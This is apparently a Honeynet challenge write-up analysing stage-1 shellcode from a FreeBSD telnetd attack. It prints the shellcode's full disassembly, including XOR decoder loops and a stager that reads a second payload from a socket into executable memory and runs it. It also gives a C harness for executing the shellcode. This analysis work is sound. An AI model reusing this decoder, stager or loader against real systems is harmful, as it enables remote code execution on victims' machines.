Wiki
Clone wikiChallenge11 / Stage2
Stage 1
Having located our shellcode payload, we extract and save it as honeynet_stage1_payload.bin
(MD5: 4585dd58f3b78f5d753b2e145bb5a09c). Furthermore, we assume that we are dealing with 32bit i386 assembly code (which is consistent with a FreeBSD 8.2 target - e.g. see Telnetd encrypt_keyid: Remote Root function pointer overwrite). VirusTotal does not report the shellcode as being known to any of its 41 AV agents.
Using libemu's sctest command (via /opt/libemu/bin/sctest -gS -s 100000 < honeynet_stage1_payload
) we get:
verbose = 0 failed cpu error error accessing 0x00000004 not mapped stepcount 1
so, libemu fails straight away! Looking around the internet, this appears to be related to the use of floating point instructions to get the current PC value? Georg Wicherski's libsizzle appears to deal with such issues, but this code is not publicly available (see libemu + fnstenv = no detection and Executing 32bit Code in a 64bit Linux 2.6 Process for more information).
When we disassemble using Radare:
0x00000000, cursor: d9ea fldl2e 0x00000002 d9742498 fnstenv [esp-0x68] 0x00000006 8b5c24a4 mov ebx, [esp-0x5c] 0x0000000a 8d5ca300 lea ebx, [ebx+0x0] 0x0000000e b93bdc3219 mov ecx, 0x1932dc3b ; (0x1932dc3b) 0x00000013 bab93b31dc mov edx, 0xdc313bb9 ; (0xffffffffdc313bb9) 0x00000018, b03d mov al, 0x3d 0x0000001a 0fb6c0 movzx eax, al 0x0000001d 666681c2d1c1 add dx, 0xc1d1 | 0x00000023 314c832a xor [ebx+eax*4+0x2a], ecx | 0x00000027 48 dec eax `=< 0x00000028, 79f7 jns 0x21 ; 1 = 0x00000021 0x0000002a 5e pop esi ; junk code - will be overwritten ...
we can see the fnstenv instruction (at line 0x2). This code uses a getPC coding pattern (initiated by the FLDL2E instruction) to save an FPU environment record to ESP-0x68
:
struct { uint32_t control_word; uint32_t status_word; uint32_t tag_word; uint32_t fpu_instruction_pointer; uint32_t fpu_instruction_selector; uint32_t fpu_opcode; uint32_t fpu_operand_pointer; uint32_t fpu_operand_selector; uint32_t reserved; }
This FPU environment record contains an EIP value (i.e. the address of the instruction FLDL2E) at offset 0xC (i.e. fpu_instruction_pointer
). Thus, the MOV instruction (at line 0x6) saves the memory address at which our shellcode is loaded, into the EBX register (since (ESP-0x68)+0xC = (ESP-0x5C))
at line 0x6.
Line 0xA is (effectively) NOP padding.
When we disassemble from line 0x21, we get:
.-> 0x00000021 d1c1 rol ecx, 1 | 0x00000023 314c832a xor [ebx+eax*4+0x2a], ecx | 0x00000027 48 dec eax `=< 0x00000028, 79f7 jns 0x21 ; 1 = 0x00000021 0x0000002a 5e pop esi ; junk code - will be overwritten ...
At lines 0x21-0x27, we have what looks like a small unpacking loop. This loop applies an XOR decoding strategy starting at offset EBX+EAX*4+0x2A = 0x0+0x3d*4+0x2A = 0x11E
. We XOR a long value at a time using the key 0x1932 DC3B
which is rotated left (i.e. ROL) on each iteration.
When our XOR decoding loop completes, we exit (at line 0x28) and start executing (at line 0x2A) this unencrypted code.
Here we switch to a dynamic analysis so that we may unpack this code. To aid this step, we use the Nepenthes mkcarray code to build a shellcode C array as follows (see shellcode2exe.py for an alternative approach):
mkcarray honeynet_stage1_payload.bin > stage1_shellcode.h
Manually editing this file then allows the following loadable shellcode exploit to be built (Note: most likely need to compile here with a -z execstack
flag?):
#include "stage1_shellcode.h"
void (*shellcode)();
void main() {
shellcode = (void (*)()) data;
__asm ("int3"); // debugger trap
shellcode();
}
Using GDB, we can execute and step through this shellcode until our binary has unpacked. In doing this, we extract the following disassembly (here stopped just after the above XOR unpacking loop - i.e. at address 0x0804a06a
or offset 42
):
0x0804a040 <+0>: fldl2e 0x0804a042 <+2>: fnstenv [esp-0x68] 0x0804a046 <+6>: mov ebx,DWORD PTR [esp-0x5c] 0x0804a04a <+10>: lea ebx,[ebx+eiz*4+0x0] 0x0804a04e <+14>: mov ecx,0x1932dc3b 0x0804a053 <+19>: mov edx,0xdc313bb9 0x0804a058 <+24>: mov al,0x3d 0x0804a05a <+26>: movzx eax,al 0x0804a05d <+29>: data32 add dx,0xc1d1 0x0804a063 <+35>: xor DWORD PTR [ebx+eax*4+0x2a],ecx 0x0804a067 <+39>: dec eax 0x0804a068 <+40>: jns 0x804a061 <shellcode+33> -> 0x0804a06a <+42>: fldlg2 0x0804a06c <+44>: xor eax,eax 0x0804a06e <+46>: mov ecx,0xf8499d23 0x0804a073 <+51>: fnstenv [esp-0x58] 0x0804a077 <+55>: mov ebx,DWORD PTR [esp-0x4c] 0x0804a07b <+59>: lea ebx,[ebx+eiz*8+0x0] 0x0804a07f <+63>: mov edx,0x49319df8 0x0804a084 <+68>: mov al,0x33 0x0804a086 <+70>: xor dx,0xc1d1 0x0804a08b <+75>: xor DWORD PTR [ebx+eax*4+0x28],ecx 0x0804a08f <+79>: dec eax 0x0804a090 <+80>: jns 0x804a089 <shellcode+73> 0x0804a092 <+82>: test dl,al ; junk code - will be overwritten ...
Again, we appear to have a secondary XOR decoding loop. This time EBX is set to the address in the disassembly above and EAX = 51
, so EBX+EAX*4+0x28 = 42+51*4+0x28 = 0x11E
. Meanwhile, ECX = 0xF849 9D23
and is again rotated left by 1 with each loop.
Stepping through until our secondary loop has unpacked, we are now able to unpack the shellcode! We save this unpacked code using the GDB command dump binary memory honeynet_stage1_unpacked_payload 0x804a040 0x804a162
(MD5: 48e5714dbb370bb58ca9c9cba67aab7e).
Using Radare, we now obtain the following (in memory!) disassembly (here our execution is paused just after the above two XOR unpacking loops - i.e. at offset 0x00000052
):
; framesize = -28 ; args = 0 ; vars = 0 0x00000000, / fun.00000000,cursor: 0x00000000, | d9ea fldl2e 0x00000002 | d9742498 fnstenv [esp-0x68] 0x00000006 | 8b5c24a4 mov ebx, [esp-0x5c] 0x0000000a | 8d5ca300 lea ebx, [ebx+0x0] 0x0000000e | b93bdc3219 mov ecx, 0x1932dc3b ; (0x1932dc3b) 0x00000013 | bab93b31dc mov edx, 0xdc313bb9 ; (0xffffffffdc313bb9) 0x00000018, | b03d mov al, 0x3d 0x0000001a | 0fb6c0 movzx eax, al 0x0000001d | 666681c2d1c1 add dx, 0xc1d1 | 0x00000023 | 314c832a xor [ebx+eax*4+0x2a], ecx | 0x00000027 | 48 dec eax `=< 0x00000028, | 79f7 jns 0x21 ; 1 = 0x00000021 0x0000002a | d9ec fldlg2 0x0000002c, | 33c0 xor eax, eax 0x0000002e | b9239d49f8 mov ecx, 0xf8499d23 ; (0xfffffffff8499d23) 0x00000033 | d97424a8 fnstenv [esp-0x58] 0x00000037 | 8b5c24b4 mov ebx, [esp-0x4c] 0x0000003b | 8d5ce300 lea ebx, [ebx+0x0] 0x0000003f | baf89d3149 mov edx, 0x49319df8 ; (0x49319df8) 0x00000044, | b033 mov al, 0x33 0x00000046 | 6681f2d1c1 xor dx, 0xc1d1 | 0x0000004b | 314c8328 xor [ebx+eax*4+0x28], ecx | 0x0000004f | 48 dec eax `==< 0x00000050, | 79f7 jns 0x49 ; 2 = 0x00000049 0x00000052 | c8000400 enter 0x400, 0x0 0x00000056 | 31db xor ebx, ebx .---> 0x00000058, | 83ceff or esi, 0xff ...--.----> 0x0000005b | 46 inc esi ||| || 0x0000005c, | 6681fe0004 cmp si, 0x400 ||| |`===< 0x00000061 | 77f5 ja 0x58 ; 3 = 0x00000058 ||| | 0x00000063 | 89e1 mov ecx, esp ||| | 0x00000065 | 6a1d push 0x1d ||| | 0x00000067 | 58 pop eax ||| | 0x00000068, | 53 push ebx ||| | 0x00000069 | 53 push ebx ; 0x0000006a DATA xref from 0x00000082 (fun.00000000+0x82) ||| | 0x0000006a | 6882000000 push dword 0x82 ; fun.00000000+0x82 ; 0x0000006f DATA xref from 0x00000400 (fun.00000000+0x400) ||| | 0x0000006f | 6800040000 push dword 0x400 ; fun.00000000+0x400 ||| | 0x00000074, | 51 push ecx ||| | 0x00000075 | 56 push esi ||| | 0x00000076 | 50 push eax ; syscall (todo) ||| | 0x00000077 | cd80 int 0x80 ; Stack size -28 ||| | 0x00000079 | 83c41c add esp, 0x1c ||| `====< 0x0000007c, | 72dd jb 0x5b ; 4 = 0x0000005b ||| 0x0000007e | 8d40fc lea eax, [eax-0x4] |||.------> 0x00000081 | 813c0456f09010 cmp dword [esp+eax], 0x1090f056 ||||.=====< 0x00000088, \ 7405 jz 0x8f ; 5 = 0x0000008f ||||| 0x0000008a 48 dec eax |||`======< 0x0000008b 79f4 jns 0x81 ; 6 = 0x00000081 ||| | 0x0000008d ebcc jmp 0x5b ; 7 = 0x10000005b ||| `-----> 0x0000008f 8d4010 lea eax, [eax+0x10] ||| 0x00000092 89e1 mov ecx, esp ||| 0x00000094, 53 push ebx ||| 0x00000095 53 push ebx ||| 0x00000096 6a40 push 0x40 ||| 0x00000098, 50 push eax ||| 0x00000099 51 push ecx ||| 0x0000009a 56 push esi ||| 0x0000009b 6a1d push 0x1d ||| 0x0000009d 58 pop eax ||| 0x0000009e 50 push eax ||| 0x0000009f cd80 int 0x80 ||| 0x000000a1 83c41c add esp, 0x1c ||`=======< 0x000000a4, 72b5 jb 0x5b ; 8 = 0x0000005b || 0x000000a6 8d6404f4 lea esp, [esp+eax-0xc] || 0x000000aa 68dd010000 push dword 0x1dd ; fun.00000000+0x1dd || 0x000000af 58 pop eax || 0x000000b0, 59 pop ecx || 0x000000b1 51 push ecx || 0x000000b2 53 push ebx || 0x000000b3 53 push ebx || 0x000000b4, 6aff push 0xff || 0x000000b6 6802100000 push dword 0x1002 ; (0x00001002) || 0x000000bb 6a07 push 0x7 || 0x000000bd 51 push ecx || 0x000000be 53 push ebx || 0x000000bf 50 push eax || 0x000000c0, cd80 int 0x80 || 0x000000c2 83c420 add esp, 0x20 |`========< 0x000000c5 7294 jb 0x5b ; 9 = 0x0000005b | 0x000000c7 89c3 mov ebx, eax | 0x000000c9 8d4c2410 lea ecx, [esp+0x10] | 0x000000cd c70156f09010 mov dword [ecx], 0x1090f056 | 0x000000d3 895904 mov [ecx+0x4], ebx | 0x000000d6 6a08 push 0x8 | 0x000000d8, 51 push ecx | 0x000000d9 56 push esi | 0x000000da 6a04 push 0x4 | 0x000000dc, 58 pop eax | 0x000000dd 50 push eax | 0x000000de cd80 int 0x80 | 0x000000e0, 83c410 add esp, 0x10 | 0x000000e3 31d2 xor edx, edx | 0x000000e5 8b0c24 mov ecx, [esp] .----------> 0x000000e8, 51 push ecx || 0x000000e9 8d0413 lea eax, [ebx+edx] || 0x000000ec, 50 push eax || 0x000000ed 56 push esi || 0x000000ee 6a03 push 0x3 || 0x000000f0, 58 pop eax || 0x000000f1 50 push eax || 0x000000f2 cd80 int 0x80 || 0x000000f4, 83c410 add esp, 0x10 |`=========< 0x000000f7 0f825effffff jb dword 0x5b ; 0x0000005b | 0x000000fd 01c2 add edx, eax | 0x000000ff 29c1 sub ecx, eax `==========< 0x00000101 75e5 jnz 0xe8 ; 0x000000e8 0x00000103 59 pop ecx 0x00000104, 58 pop eax 0x00000105 51 push ecx 0x00000106 50 push eax 0x00000107 c1e902 shr ecx, 0x2 0x0000010a 31448bfc xor [ebx+ecx*4-0x4], eax 0x0000010e e2fa loop 0x10a 0x00000110, 8b442408 mov eax, [esp+0x8] 0x00000114, 01d8 add eax, ebx 0x00000116 895c2404 mov [esp+0x4], ebx 0x0000011a 893424 mov [esp], esi 0x0000011d ffd0 call eax 0x0000011f c3 ret 0x0000011f ; ------------------------------------ 0x00000120, c3 ret 0x00000120, ; ------------------------------------ 0x00000121 c3 ret 0x00000121 ; ------------------------------------
From the above and /usr/src/sys/kern/syscalls.master, we note that:
- the system call at lines 0x77 and 0x9f are calls to FreeBSD function number
0x1D
- i.e.
int recvfrom(int s, caddr_t buf, size_t len, int flags, struct sockaddr * __restrict from, __socklen_t * __restrict fromlenaddr)
(see recvfrom manpage)
- i.e.
- the system call at line 0xC0 is a call to FreeBSD function number
0x1DD
- i.e.
caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, off_t pos)
(see mmap manpage)
- i.e.
- the system call at line 0xDE is a call to FreeBSD function number
0x04
- i.e.
ssize_t write(int fd, const void *buf, size_t nbyte)
(see write manpage)
- i.e.
- the system call at line 0xF2 is a call to FreeBSD function number
0x03
- i.e.
ssize_t read(int fd, void *buf, size_t nbyte)
(see read manpage).
- i.e.
As explained in the FreeBSD Developers' Handbook: Section 11.3 - System Calls, FreeBSD uses the C calling convention for system calls. Thus, the C source level function call f(arg1, arg2, arg3)
has its arguments placed on the stack in reverse order (i.e. push arg3; push arg2; push arg1
), prior to the instruction int 80
being executed. Function results are often (but not always!) placed in the EAX
register on return. The specific system function we wish to call is identified using the contents of the EAX
register at call time.
Moreover, FreeBSD system calls are expected to be issued via a function call (i.e. we first call
the code that issues our int 80
instruction). This means that we need to push an extra 0x4
bytes onto the stack to simulate this function call.
From /include/sys/socket.h we have that:
0x82
meansMSG_DONTWAIT
andMSG_PEEK
0x40
meansMSG_WAITALL
.
From /include/sys/mman.h we have that:
0x7
meansPROT_READ
,PROT_WRITE
andPROT_EXEC
0x1002
meansMAP_PRIVATE
andMAP_ANON
.
Stage 1 Sequence Diagram
Using PyDBG and Scapy Python code (running within a VMWare Windows XP SP2 virtual machine) we now automatically extract our stage 2 payload (see Gray Hat Python for more information on PyDBG). See stage2_unpacker.py for a copy of this code and stage2_unpacker.log for the logged output in running this code.
Using VERA (with Gephi to post process the GML files), we can visualise the stage 1 payload as follows (the blue node indicates the stage 1 entry point):
Updated